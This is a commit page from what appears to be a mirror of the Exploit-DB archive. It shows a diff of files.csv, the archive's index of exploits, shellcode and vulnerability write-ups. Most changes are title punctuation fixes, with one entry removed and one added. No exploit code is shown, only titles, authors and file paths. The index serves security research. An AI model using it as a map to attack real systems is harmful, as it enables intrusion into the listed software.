bpmcdevitt/exploit-db-mirror
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions

DB: 2015-04-27

Browse source 
2 new exploits
This commit is contained in:
Offensive Security 2015-04-27 05:02:03 +00:00
parent 14670d8adc
commit 029eaafec5
43 changed files with 398 additions and 241 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

27
files.csv
View file

@ -149,7 +149,7 @@ id,file,description,date,author,platform,type,port
154,platforms/linux/local/154.c,"Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - ""mremap()"" Local Proof-of-Concept (2)",2004-02-18,"Christophe Devine",linux,local,0 154,platforms/linux/local/154.c,"Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - ""mremap()"" Local Proof-of-Concept (2)",2004-02-18,"Christophe Devine",linux,local,0
155,platforms/windows/remote/155.c,"GateKeeper Pro 4.7 Web proxy Remote Buffer Overflow Exploit",2004-02-26,kralor,windows,remote,3128 155,platforms/windows/remote/155.c,"GateKeeper Pro 4.7 Web proxy Remote Buffer Overflow Exploit",2004-02-26,kralor,windows,remote,3128
156,platforms/windows/remote/156.c,"PSOProxy 0.91 - Remote Buffer Overflow Exploit (Win2k/XP)",2004-02-26,Rave,windows,remote,8080 156,platforms/windows/remote/156.c,"PSOProxy 0.91 - Remote Buffer Overflow Exploit (Win2k/XP)",2004-02-26,Rave,windows,remote,8080
157,platforms/windows/remote/157.c,"IPSwitch IMail LDAP Daemon Remote Buffer Overflow Exploit",2004-02-27,"Johnny Cyberpunk",windows,remote,389 157,platforms/windows/remote/157.c,"IPSwitch IMail LDAP Daemon - Remote Buffer Overflow Exploit",2004-02-27,"Johnny Cyberpunk",windows,remote,389
158,platforms/windows/remote/158.c,"Serv-U FTPD 3.x/4.x/5.x (MDTM) Remote Overflow Exploit",2004-02-27,Sam,windows,remote,21 158,platforms/windows/remote/158.c,"Serv-U FTPD 3.x/4.x/5.x (MDTM) Remote Overflow Exploit",2004-02-27,Sam,windows,remote,21
159,platforms/windows/remote/159.c,"WFTPD Server <= 3.21 - Remote Buffer Overflow Exploit",2004-02-29,rdxaxl,windows,remote,21 159,platforms/windows/remote/159.c,"WFTPD Server <= 3.21 - Remote Buffer Overflow Exploit",2004-02-29,rdxaxl,windows,remote,21
160,platforms/linux/local/160.c,"Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - ""mremap()"" Missing ""do_munmap"" Exploit",2004-03-01,"Paul Starzetz",linux,local,0 160,platforms/linux/local/160.c,"Linux Kernel <= 2.2.25 / <= 2.4.24 / <= 2.6.2 - ""mremap()"" Missing ""do_munmap"" Exploit",2004-03-01,"Paul Starzetz",linux,local,0
@ -384,7 +384,7 @@ id,file,description,date,author,platform,type,port
413,platforms/linux/remote/413.c,"MusicDaemon <= 0.0.3 - Remote DoS and /etc/shadow Stealer (2)",2004-08-24,Tal0n,linux,remote,0 413,platforms/linux/remote/413.c,"MusicDaemon <= 0.0.3 - Remote DoS and /etc/shadow Stealer (2)",2004-08-24,Tal0n,linux,remote,0
416,platforms/linux/remote/416.c,"Hafiye 1.0 - Remote Terminal Escape Sequence Injection Vulnerability",2004-08-25,"Serkan Akpolat",linux,remote,0 416,platforms/linux/remote/416.c,"Hafiye 1.0 - Remote Terminal Escape Sequence Injection Vulnerability",2004-08-25,"Serkan Akpolat",linux,remote,0
417,platforms/linux/local/417.c,"SquirrelMail (chpasswd) Local Root Bruteforce Exploit",2004-08-25,Bytes,linux,local,0 417,platforms/linux/local/417.c,"SquirrelMail (chpasswd) Local Root Bruteforce Exploit",2004-08-25,Bytes,linux,local,0
418,platforms/windows/remote/418.c,"Winamp <= 5.04 Skin File (.wsz) Remote Code Execution Exploit",2004-08-25,"Petrol Designs",windows,remote,0 418,platforms/windows/remote/418.c,"Winamp <= 5.04 - Skin File (.wsz) Remote Code Execution Exploit",2004-08-25,"Petrol Designs",windows,remote,0
419,platforms/windows/dos/419.pl,"BadBlue 2.52 Web Server Multiple Connections Denial of Service Exploit",2004-08-26,"GulfTech Security",windows,dos,0 419,platforms/windows/dos/419.pl,"BadBlue 2.52 Web Server Multiple Connections Denial of Service Exploit",2004-08-26,"GulfTech Security",windows,dos,0
420,platforms/win32/dos/420.java,"Bird Chat 1.61 - Denial of Service",2004-08-26,"Donato Ferrante",win32,dos,0 420,platforms/win32/dos/420.java,"Bird Chat 1.61 - Denial of Service",2004-08-26,"Donato Ferrante",win32,dos,0
421,platforms/windows/remote/421.c,"Gaucho 1.4 Mail Client Buffer Overflow Vulnerability",2004-08-27,"Tan Chew Keong",windows,remote,0 421,platforms/windows/remote/421.c,"Gaucho 1.4 Mail Client Buffer Overflow Vulnerability",2004-08-27,"Tan Chew Keong",windows,remote,0
@ -539,7 +539,7 @@ id,file,description,date,author,platform,type,port
693,platforms/windows/remote/693.c,"Ability Server <= 2.34 - Remote APPE Buffer Overflow Exploit",2004-12-16,darkeagle,windows,remote,21 693,platforms/windows/remote/693.c,"Ability Server <= 2.34 - Remote APPE Buffer Overflow Exploit",2004-12-16,darkeagle,windows,remote,21
694,platforms/windows/local/694.c,"WinRAR <= 3.4.1 Corrupt ZIP File Vulnerability PoC",2004-12-16,"Vafa Khoshaein",windows,local,0 694,platforms/windows/local/694.c,"WinRAR <= 3.4.1 Corrupt ZIP File Vulnerability PoC",2004-12-16,"Vafa Khoshaein",windows,local,0
695,platforms/linux/local/695.c,"Cscope <= 15.5 Symlink Vulnerability Exploit",2004-12-17,Gangstuck,linux,local,0 695,platforms/linux/local/695.c,"Cscope <= 15.5 Symlink Vulnerability Exploit",2004-12-17,Gangstuck,linux,local,0
697,platforms/php/webapps/697.c,"PHP <= 4.3.9 & phpBB 2.x with unserialize() Remote Exploit (compiled)",2004-12-17,overdose,php,webapps,0 697,platforms/php/webapps/697.c,"PHP <= 4.3.9 & phpBB 2.x - unserialize() Remote Exploit (compiled)",2004-12-17,overdose,php,webapps,0
698,platforms/ultrix/local/698.c,"Ultrix 4.5/MIPS dxterm Local Buffer Overflow Exploit",2004-12-20,"Kristoffer Brånemyr",ultrix,local,0 698,platforms/ultrix/local/698.c,"Ultrix 4.5/MIPS dxterm Local Buffer Overflow Exploit",2004-12-20,"Kristoffer Brånemyr",ultrix,local,0
699,platforms/aix/local/699.c,"AIX 5.1 < 5.3 - paginit Local Stack Overflow Exploit",2004-12-20,cees-bart,aix,local,0 699,platforms/aix/local/699.c,"AIX 5.1 < 5.3 - paginit Local Stack Overflow Exploit",2004-12-20,cees-bart,aix,local,0
700,platforms/windows/dos/700.html,"Microsoft Internet Explorer & MSN Memory_Access_Violation DoS",2004-12-21,"Emmanouel Kellinis",windows,dos,0 700,platforms/windows/dos/700.html,"Microsoft Internet Explorer & MSN Memory_Access_Violation DoS",2004-12-21,"Emmanouel Kellinis",windows,dos,0
@ -714,7 +714,7 @@ id,file,description,date,author,platform,type,port
893,platforms/windows/dos/893.pl,"Ocean FTP Server 1.00 - Denial of Service Exploit",2005-03-21,"GSS IT",windows,dos,0 893,platforms/windows/dos/893.pl,"Ocean FTP Server 1.00 - Denial of Service Exploit",2005-03-21,"GSS IT",windows,dos,0
895,platforms/linux/local/895.c,"Linux Kernel 2.4.x / 2.6.x - uselib() Local Privilege Escalation Exploit",2005-03-22,sd,linux,local,0 895,platforms/linux/local/895.c,"Linux Kernel 2.4.x / 2.6.x - uselib() Local Privilege Escalation Exploit",2005-03-22,sd,linux,local,0
896,platforms/osx/local/896.c,"Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local Root Buffer Overflow",2005-03-22,vade79,osx,local,0 896,platforms/osx/local/896.c,"Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local Root Buffer Overflow",2005-03-22,vade79,osx,local,0
897,platforms/php/webapps/897.cpp,"phpBB <= 2.0.12 Change User Rights Authentication Bypass (c code)",2005-03-24,str0ke,php,webapps,0 897,platforms/php/webapps/897.cpp,"phpBB <= 2.0.12 - Change User Rights Authentication Bypass (c code)",2005-03-24,str0ke,php,webapps,0
898,platforms/aix/local/898.sh,"AIX <= 5.3.0 (invscout) Local Command Execution Vulnerability",2005-03-25,ri0t,aix,local,0 898,platforms/aix/local/898.sh,"AIX <= 5.3.0 (invscout) Local Command Execution Vulnerability",2005-03-25,ri0t,aix,local,0
899,platforms/windows/dos/899.pl,"SPECTral Personal SMTP Server <= 0.4.2 - Denial of Service Exploit",2005-03-28,GreenwooD,windows,dos,0 899,platforms/windows/dos/899.pl,"SPECTral Personal SMTP Server <= 0.4.2 - Denial of Service Exploit",2005-03-28,GreenwooD,windows,dos,0
900,platforms/linux/remote/900.c,"Smail 3.2.0.120 - Remote Root Heap Overflow Exploit",2005-03-28,infamous41md,linux,remote,25 900,platforms/linux/remote/900.c,"Smail 3.2.0.120 - Remote Root Heap Overflow Exploit",2005-03-28,infamous41md,linux,remote,25
@ -800,7 +800,7 @@ id,file,description,date,author,platform,type,port
982,platforms/php/webapps/982.c,"ZeroBoard Worm Source Code",2005-05-06,N/A,php,webapps,0 982,platforms/php/webapps/982.c,"ZeroBoard Worm Source Code",2005-05-06,N/A,php,webapps,0
983,platforms/windows/dos/983.cpp,"DataTrac Activity Console Denial of Service Exploit",2005-05-06,basher13,windows,dos,0 983,platforms/windows/dos/983.cpp,"DataTrac Activity Console Denial of Service Exploit",2005-05-06,basher13,windows,dos,0
984,platforms/multiple/dos/984.c,"Ethereal <= 0.10.10 (dissect_ipc_state) Remote Denial of Service Exploit",2005-05-07,Nicob,multiple,dos,0 984,platforms/multiple/dos/984.c,"Ethereal <= 0.10.10 (dissect_ipc_state) Remote Denial of Service Exploit",2005-05-07,Nicob,multiple,dos,0
986,platforms/windows/remote/986.html,"Mozilla Firefox Install Method Remote Arbitrary Code Execution Exploit",2005-05-07,"Edward Gagnon",windows,remote,0 986,platforms/windows/remote/986.html,"Mozilla Firefox - Install Method Remote Arbitrary Code Execution Exploit",2005-05-07,"Edward Gagnon",windows,remote,0
987,platforms/windows/remote/987.c,"Hosting Controller <= 0.6.1 Unauthenticated User Registeration (2nd)",2005-05-07,Silentium,windows,remote,0 987,platforms/windows/remote/987.c,"Hosting Controller <= 0.6.1 Unauthenticated User Registeration (2nd)",2005-05-07,Silentium,windows,remote,0
988,platforms/windows/dos/988.cpp,"Remote File Manager 1.0 - Denial of Service Exploit",2005-05-08,basher13,windows,dos,0 988,platforms/windows/dos/988.cpp,"Remote File Manager 1.0 - Denial of Service Exploit",2005-05-08,basher13,windows,dos,0
989,platforms/php/webapps/989.pl,"PhotoPost Arbitrary Data Remote Exploit",2005-05-13,basher13,php,webapps,0 989,platforms/php/webapps/989.pl,"PhotoPost Arbitrary Data Remote Exploit",2005-05-13,basher13,php,webapps,0
@ -2849,7 +2849,7 @@ id,file,description,date,author,platform,type,port
3178,platforms/multiple/local/3178.txt,"Oracle 10g SYS.KUPW$WORKER.MAIN PL/SQL Injection Exploit",2007-01-23,"Joxean Koret",multiple,local,0 3178,platforms/multiple/local/3178.txt,"Oracle 10g SYS.KUPW$WORKER.MAIN PL/SQL Injection Exploit",2007-01-23,"Joxean Koret",multiple,local,0
3179,platforms/multiple/local/3179.txt,"Oracle 10g SYS.KUPV$FT.ATTACH_JOB PL/SQL Injection Exploit",2007-01-23,"Joxean Koret",multiple,local,0 3179,platforms/multiple/local/3179.txt,"Oracle 10g SYS.KUPV$FT.ATTACH_JOB PL/SQL Injection Exploit",2007-01-23,"Joxean Koret",multiple,local,0
3180,platforms/php/webapps/3180.pl,"Vote-Pro 4.0 (poll_frame.php poll_id) Remote Code Execution Exploit",2007-01-23,r0ut3r,php,webapps,0 3180,platforms/php/webapps/3180.pl,"Vote-Pro 4.0 (poll_frame.php poll_id) Remote Code Execution Exploit",2007-01-23,r0ut3r,php,webapps,0
3181,platforms/osx/local/3181.rb,"Mac OS X 10.4.8 (UserNotificationCenter) Privilege Escalation Exploit",2007-01-23,MoAB,osx,local,0 3181,platforms/osx/local/3181.rb,"Mac OS X 10.4.8 - (UserNotificationCenter) Privilege Escalation Exploit",2007-01-23,MoAB,osx,local,0
3182,platforms/windows/dos/3182.py,"Sami HTTP Server 2.0.1 (HTTP 404 - Object not found) DoS Exploit",2007-01-23,shinnai,windows,dos,0 3182,platforms/windows/dos/3182.py,"Sami HTTP Server 2.0.1 (HTTP 404 - Object not found) DoS Exploit",2007-01-23,shinnai,windows,dos,0
3183,platforms/php/webapps/3183.txt,"BBClone 0.31 (selectlang.php) Remote File Inclusion Vulnerability",2007-01-23,3l3ctric-Cracker,php,webapps,0 3183,platforms/php/webapps/3183.txt,"BBClone 0.31 (selectlang.php) Remote File Inclusion Vulnerability",2007-01-23,3l3ctric-Cracker,php,webapps,0
3184,platforms/php/webapps/3184.txt,"phpXD <= 0.3 (path) Remote File Inclusion Vulnerability",2007-01-23,3l3ctric-Cracker,php,webapps,0 3184,platforms/php/webapps/3184.txt,"phpXD <= 0.3 (path) Remote File Inclusion Vulnerability",2007-01-23,3l3ctric-Cracker,php,webapps,0
@ -4164,7 +4164,6 @@ id,file,description,date,author,platform,type,port
4519,platforms/php/webapps/4519.txt,"Pindorama 0.1 client.php Remote File Inclusion Vulnerability",2007-10-11,S.W.A.T.,php,webapps,0 4519,platforms/php/webapps/4519.txt,"Pindorama 0.1 client.php Remote File Inclusion Vulnerability",2007-10-11,S.W.A.T.,php,webapps,0
4520,platforms/php/webapps/4520.txt,"PicoFlat CMS <= 0.4.14 index.php Remote File Inclusion Vulnerability",2007-10-11,0in,php,webapps,0 4520,platforms/php/webapps/4520.txt,"PicoFlat CMS <= 0.4.14 index.php Remote File Inclusion Vulnerability",2007-10-11,0in,php,webapps,0
4521,platforms/php/webapps/4521.txt,"Joomla Flash uploader 2.5.1 - Remote File Inclusion Vulnerabilities",2007-10-11,mdx,php,webapps,0 4521,platforms/php/webapps/4521.txt,"Joomla Flash uploader 2.5.1 - Remote File Inclusion Vulnerabilities",2007-10-11,mdx,php,webapps,0
4522,platforms/hardware/remote/4522.html,"Apple iTouch/iPhone 1.1.1 tif File Remote Jailbreak Exploit",2007-10-11,"Niacin and Dre",hardware,remote,0
4523,platforms/php/webapps/4523.pl,"KwsPHP 1.0 Newsletter Module Remote SQL Injection Exploit",2007-10-11,s4mi,php,webapps,0 4523,platforms/php/webapps/4523.pl,"KwsPHP 1.0 Newsletter Module Remote SQL Injection Exploit",2007-10-11,s4mi,php,webapps,0
4524,platforms/php/webapps/4524.txt,"joomla component com_colorlab 1.0 - Remote File Inclusion Vulnerability",2007-10-12,"Mehmet Ince",php,webapps,0 4524,platforms/php/webapps/4524.txt,"joomla component com_colorlab 1.0 - Remote File Inclusion Vulnerability",2007-10-12,"Mehmet Ince",php,webapps,0
4525,platforms/php/webapps/4525.pl,"TikiWiki <= 1.9.8 tiki-graph_formula.php Command Execution Exploit",2007-10-12,str0ke,php,webapps,0 4525,platforms/php/webapps/4525.pl,"TikiWiki <= 1.9.8 tiki-graph_formula.php Command Execution Exploit",2007-10-12,str0ke,php,webapps,0
@ -8220,7 +8219,7 @@ id,file,description,date,author,platform,type,port
8716,platforms/windows/remote/8716.py,"httpdx <= 0.5b FTP Server (USER) Remote BoF Exploit (SEH)",2009-05-18,His0k4,windows,remote,21 8716,platforms/windows/remote/8716.py,"httpdx <= 0.5b FTP Server (USER) Remote BoF Exploit (SEH)",2009-05-18,His0k4,windows,remote,21
8717,platforms/php/webapps/8717.txt,"ClanWeb 1.4.2 - Remote Change Password / Add Admin Exploit",2009-05-18,ahmadbady,php,webapps,0 8717,platforms/php/webapps/8717.txt,"ClanWeb 1.4.2 - Remote Change Password / Add Admin Exploit",2009-05-18,ahmadbady,php,webapps,0
8718,platforms/php/webapps/8718.txt,"douran portal <= 3.9.0.23 - Multiple Vulnerabilities",2009-05-18,Abysssec,php,webapps,0 8718,platforms/php/webapps/8718.txt,"douran portal <= 3.9.0.23 - Multiple Vulnerabilities",2009-05-18,Abysssec,php,webapps,0
8719,platforms/asp/webapps/8719.py,"Dana Portal Remote Change Admin Password Exploit",2009-05-18,Abysssec,asp,webapps,0 8719,platforms/asp/webapps/8719.py,"Dana Portal - Remote Change Admin Password Exploit",2009-05-18,Abysssec,asp,webapps,0
8720,platforms/multiple/dos/8720.c,"OpenSSL <= 0.9.8k / 1.0.0-beta2 - DTLS Remote Memory Exhaustion DoS",2009-05-18,"Jon Oberheide",multiple,dos,0 8720,platforms/multiple/dos/8720.c,"OpenSSL <= 0.9.8k / 1.0.0-beta2 - DTLS Remote Memory Exhaustion DoS",2009-05-18,"Jon Oberheide",multiple,dos,0
8721,platforms/windows/dos/8721.pl,"Zervit Webserver 0.04 - (GET Request) Remote Buffer Overflow PoC",2009-05-18,Stack,windows,dos,0 8721,platforms/windows/dos/8721.pl,"Zervit Webserver 0.04 - (GET Request) Remote Buffer Overflow PoC",2009-05-18,Stack,windows,dos,0
8722,platforms/windows/dos/8722.py,"Mereo 1.8.0 (Get Request) Remote Denial of Service Exploit",2009-05-18,Stack,windows,dos,0 8722,platforms/windows/dos/8722.py,"Mereo 1.8.0 (Get Request) Remote Denial of Service Exploit",2009-05-18,Stack,windows,dos,0
@ -18266,7 +18265,7 @@ id,file,description,date,author,platform,type,port
20968,platforms/unix/remote/20968.txt,"Samba 2.0.x/2.2 - Remote Arbitrary File Creation Vulnerability",2001-06-23,"Michal Zalewski",unix,remote,0 20968,platforms/unix/remote/20968.txt,"Samba 2.0.x/2.2 - Remote Arbitrary File Creation Vulnerability",2001-06-23,"Michal Zalewski",unix,remote,0
20969,platforms/solaris/local/20969.c,"Solaris 8 libsldap Buffer Overflow Vulnerability (1)",2001-06-26,noir,solaris,local,0 20969,platforms/solaris/local/20969.c,"Solaris 8 libsldap Buffer Overflow Vulnerability (1)",2001-06-26,noir,solaris,local,0
20970,platforms/solaris/local/20970.c,"Solaris 8 libsldap Buffer Overflow Vulnerability (2)",2001-06-27,Fyodor,solaris,local,0 20970,platforms/solaris/local/20970.c,"Solaris 8 libsldap Buffer Overflow Vulnerability (2)",2001-06-27,Fyodor,solaris,local,0
20971,platforms/windows/dos/20971.txt,"Adobe Photoshop CS6 PNG Parsing Heap Overflow",2012-09-01,"Francis Provencher",windows,dos,0 20971,platforms/windows/dos/20971.txt,"Adobe Photoshop CS6 - PNG Parsing Heap Overflow",2012-09-01,"Francis Provencher",windows,dos,0
20972,platforms/multiple/remote/20972.txt,"Icecast 1.1.x/1.3.x - Directory Traversal Vulnerability",2001-06-26,gollum,multiple,remote,0 20972,platforms/multiple/remote/20972.txt,"Icecast 1.1.x/1.3.x - Directory Traversal Vulnerability",2001-06-26,gollum,multiple,remote,0
20973,platforms/multiple/remote/20973.txt,"Icecast 1.1.x/1.3.x Slash File Name Denial of Service Vulnerability",2001-06-26,gollum,multiple,remote,0 20973,platforms/multiple/remote/20973.txt,"Icecast 1.1.x/1.3.x Slash File Name Denial of Service Vulnerability",2001-06-26,gollum,multiple,remote,0
20974,platforms/solaris/local/20974.c,"Solaris 2.6/2.6/7.0/8 whodo Buffer Overflow Vulnerability",2001-06-01,"Pablo Sor",solaris,local,0 20974,platforms/solaris/local/20974.c,"Solaris 2.6/2.6/7.0/8 whodo Buffer Overflow Vulnerability",2001-06-01,"Pablo Sor",solaris,local,0
@ -32912,7 +32911,7 @@ id,file,description,date,author,platform,type,port
36488,platforms/php/webapps/36488.txt,"WordPress WHOIS Plugin 1.4.2 3 'domain' Parameter Cross Site Scripting Vulnerability",2012-01-03,Atmon3r,php,webapps,0 36488,platforms/php/webapps/36488.txt,"WordPress WHOIS Plugin 1.4.2 3 'domain' Parameter Cross Site Scripting Vulnerability",2012-01-03,Atmon3r,php,webapps,0
36489,platforms/php/webapps/36489.txt,"TextPattern 4.4.1 'ddb' Parameter Cross Site Scripting Vulnerability",2012-01-04,"Jonathan Claudius",php,webapps,0 36489,platforms/php/webapps/36489.txt,"TextPattern 4.4.1 'ddb' Parameter Cross Site Scripting Vulnerability",2012-01-04,"Jonathan Claudius",php,webapps,0
36490,platforms/php/webapps/36490.py,"WP Marketplace 2.4.0 - Remote Code Execution (Add WP Admin)",2015-03-25,"Claudio Viviani",php,webapps,0 36490,platforms/php/webapps/36490.py,"WP Marketplace 2.4.0 - Remote Code Execution (Add WP Admin)",2015-03-25,"Claudio Viviani",php,webapps,0
36491,platforms/windows/remote/36491.txt,"Adobe Flash Player Arbitrary Code Execution",2015-03-25,SecurityObscurity,windows,remote,0 36491,platforms/windows/remote/36491.txt,"Adobe Flash Player - Arbitrary Code Execution",2015-03-25,SecurityObscurity,windows,remote,0
36492,platforms/php/webapps/36492.txt,"GraphicsClone Script 'term' parameter Cross-Site Scripting Vulnerability",2012-01-04,Mr.PaPaRoSSe,php,webapps,0 36492,platforms/php/webapps/36492.txt,"GraphicsClone Script 'term' parameter Cross-Site Scripting Vulnerability",2012-01-04,Mr.PaPaRoSSe,php,webapps,0
36493,platforms/php/webapps/36493.txt,"Orchard 1.3.9 'ReturnUrl' Parameter URI Redirection Vulnerability",2012-01-04,"Mesut Timur",php,webapps,0 36493,platforms/php/webapps/36493.txt,"Orchard 1.3.9 'ReturnUrl' Parameter URI Redirection Vulnerability",2012-01-04,"Mesut Timur",php,webapps,0
36494,platforms/php/webapps/36494.txt,"Limny 3.0.1 'login.php' Script Cross Site Scripting Vulnerability",2012-01-04,"Gjoko Krstic",php,webapps,0 36494,platforms/php/webapps/36494.txt,"Limny 3.0.1 'login.php' Script Cross Site Scripting Vulnerability",2012-01-04,"Gjoko Krstic",php,webapps,0
@ -33048,7 +33047,7 @@ id,file,description,date,author,platform,type,port
36630,platforms/php/webapps/36630.txt,"Joomla 'com_products' Component Multiple SQL Injection Vulnerabilities",2012-01-26,the_cyber_nuxbie,php,webapps,0 36630,platforms/php/webapps/36630.txt,"Joomla 'com_products' Component Multiple SQL Injection Vulnerabilities",2012-01-26,the_cyber_nuxbie,php,webapps,0
36631,platforms/php/webapps/36631.txt,"WordPress Slideshow Gallery Plugin 1.1.x 'border' Parameter Cross Site Scripting Vulnerability",2012-01-26,"Bret Hawk",php,webapps,0 36631,platforms/php/webapps/36631.txt,"WordPress Slideshow Gallery Plugin 1.1.x 'border' Parameter Cross Site Scripting Vulnerability",2012-01-26,"Bret Hawk",php,webapps,0
36632,platforms/php/webapps/36632.txt,"xClick Cart 1.0.x 'shopping_url' Parameter Cross Site Scripting Vulnerability",2012-01-26,sonyy,php,webapps,0 36632,platforms/php/webapps/36632.txt,"xClick Cart 1.0.x 'shopping_url' Parameter Cross Site Scripting Vulnerability",2012-01-26,sonyy,php,webapps,0
36633,platforms/linux/dos/36633.txt,"Wireshark Buffer Underflow and Denial of Service Vulnerabilities",2012-01-10,"Laurent Butti",linux,dos,0 36633,platforms/linux/dos/36633.txt,"Wireshark - Buffer Underflow and Denial of Service Vulnerabilities",2012-01-10,"Laurent Butti",linux,dos,0
36634,platforms/php/webapps/36634.txt,"Joomla! 'com_visa' Component Local File Include and SQL Injection Vulnerabilities",2012-01-28,the_cyber_nuxbie,php,webapps,0 36634,platforms/php/webapps/36634.txt,"Joomla! 'com_visa' Component Local File Include and SQL Injection Vulnerabilities",2012-01-28,the_cyber_nuxbie,php,webapps,0
36635,platforms/php/webapps/36635.txt,"Joomla! 'com_firmy' Component 'Id' Parameter SQL Injection Vulnerability",2012-01-30,the_cyber_nuxbie,php,webapps,0 36635,platforms/php/webapps/36635.txt,"Joomla! 'com_firmy' Component 'Id' Parameter SQL Injection Vulnerability",2012-01-30,the_cyber_nuxbie,php,webapps,0
36637,platforms/lin_x86/shellcode/36637.c,"Disable ASLR in Linux (84 bytes)",2015-04-03,"Mohammad Reza Ramezani",lin_x86,shellcode,0 36637,platforms/lin_x86/shellcode/36637.c,"Disable ASLR in Linux (84 bytes)",2015-04-03,"Mohammad Reza Ramezani",lin_x86,shellcode,0
@ -33083,7 +33082,7 @@ id,file,description,date,author,platform,type,port
36666,platforms/java/webapps/36666.txt,"ManageEngine ADManager Plus 5.2 Build 5210 DomainConfig.do operation Parameter XSS",2012-02-07,LiquidWorm,java,webapps,0 36666,platforms/java/webapps/36666.txt,"ManageEngine ADManager Plus 5.2 Build 5210 DomainConfig.do operation Parameter XSS",2012-02-07,LiquidWorm,java,webapps,0
36667,platforms/java/webapps/36667.txt,"ManageEngine ADManager Plus 5.2 Build 5210 jsp/AddDC.jsp domainName Parameter XSS",2012-02-07,LiquidWorm,java,webapps,0 36667,platforms/java/webapps/36667.txt,"ManageEngine ADManager Plus 5.2 Build 5210 jsp/AddDC.jsp domainName Parameter XSS",2012-02-07,LiquidWorm,java,webapps,0
36668,platforms/php/webapps/36668.txt,"eFront 3.6.10 'administrator.php' Cross Site Scripting Vulnerability",2012-02-07,"Chokri B.A",php,webapps,0 36668,platforms/php/webapps/36668.txt,"eFront 3.6.10 'administrator.php' Cross Site Scripting Vulnerability",2012-02-07,"Chokri B.A",php,webapps,0
36669,platforms/linux/dos/36669.txt,"Apache APR Hash Collision Denial Of Service Vulnerability",2012-01-05,"Moritz Muehlenhoff",linux,dos,0 36669,platforms/linux/dos/36669.txt,"Apache APR - Hash Collision Denial Of Service Vulnerability",2012-01-05,"Moritz Muehlenhoff",linux,dos,0
36670,platforms/hardware/remote/36670.txt,"D-Link ShareCenter Products Multiple Remote Code Execution Vulnerabilities",2012-02-08,"Roberto Paleari",hardware,remote,0 36670,platforms/hardware/remote/36670.txt,"D-Link ShareCenter Products Multiple Remote Code Execution Vulnerabilities",2012-02-08,"Roberto Paleari",hardware,remote,0
36671,platforms/php/webapps/36671.txt,"WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability",2015-04-08,"Claudio Viviani",php,webapps,80 36671,platforms/php/webapps/36671.txt,"WordPress All In One WP Security & Firewall 3.9.0 SQL Injection Vulnerability",2015-04-08,"Claudio Viviani",php,webapps,80
36672,platforms/lin_x86/shellcode/36672.asm,"Linux x86 - Egg-hunter (20 bytes)",2015-04-08,"Paw Petersen",lin_x86,shellcode,0 36672,platforms/lin_x86/shellcode/36672.asm,"Linux x86 - Egg-hunter (20 bytes)",2015-04-08,"Paw Petersen",lin_x86,shellcode,0
@ -33161,7 +33160,7 @@ id,file,description,date,author,platform,type,port
36753,platforms/php/webapps/36753.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_stat_time.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36753,platforms/php/webapps/36753.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_stat_time.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0
36754,platforms/php/webapps/36754.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_stat_uaddr.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36754,platforms/php/webapps/36754.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_stat_uaddr.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0
36751,platforms/php/webapps/36751.txt,"Wordpress Video Gallery 2.8 - SQL Injection",2015-04-14,"Claudio Viviani",php,webapps,80 36751,platforms/php/webapps/36751.txt,"Wordpress Video Gallery 2.8 - SQL Injection",2015-04-14,"Claudio Viviani",php,webapps,80
36750,platforms/lin_x86-64/shellcode/36750.c,"linux/x86 setreuid(0_ 0) + execve(""/sbin/halt"") + exit(0) - 49 bytes",2015-04-14,"Febriyanto Nugroho",lin_x86-64,shellcode,0 36750,platforms/lin_x86-64/shellcode/36750.c,"linux/x86 setreuid(0_ 0) + execve(""/sbin/halt"") + exit(0) (49 bytes)",2015-04-14,"Febriyanto Nugroho",lin_x86-64,shellcode,0
36755,platforms/php/webapps/36755.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_user.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36755,platforms/php/webapps/36755.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 base_user.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0
36756,platforms/windows/remote/36756.html,"Samsung iPOLiS ReadConfigValue Remote Code Execution",2015-04-14,"Praveen Darshanam",windows,remote,0 36756,platforms/windows/remote/36756.html,"Samsung iPOLiS ReadConfigValue Remote Code Execution",2015-04-14,"Praveen Darshanam",windows,remote,0
36757,platforms/php/webapps/36757.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 index.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0 36757,platforms/php/webapps/36757.txt,"Basic Analysis and Security Engine (BASE) 1.4.5 index.php BASE_path Parameter Remote File Inclusion",2012-02-11,indoushka,php,webapps,0
@ -33221,5 +33220,7 @@ id,file,description,date,author,platform,type,port
36818,platforms/php/webapps/36818.php,"Wolf CMS 0.8.2 - Arbitrary File Upload Exploit",2015-04-22,"CWH Underground",php,webapps,80 36818,platforms/php/webapps/36818.php,"Wolf CMS 0.8.2 - Arbitrary File Upload Exploit",2015-04-22,"CWH Underground",php,webapps,80
36819,platforms/windows/local/36819.pl,"MooPlayer 1.3.0 - 'm3u' SEH Buffer Overflow",2015-04-22,"Tomislav Paskalev",windows,local,0 36819,platforms/windows/local/36819.pl,"MooPlayer 1.3.0 - 'm3u' SEH Buffer Overflow",2015-04-22,"Tomislav Paskalev",windows,local,0
36820,platforms/linux/local/36820.txt,"Ubuntu usb-creator 0.2.x - Local Privilege Escalation",2015-04-23,"Tavis Ormandy",linux,local,0 36820,platforms/linux/local/36820.txt,"Ubuntu usb-creator 0.2.x - Local Privilege Escalation",2015-04-23,"Tavis Ormandy",linux,local,0
36821,platforms/php/webapps/36821.txt,"WebUI 1.5b6 - Remote Code Execution Vulnerability",2015-04-23,"TUNISIAN CYBER",php,webapps,0
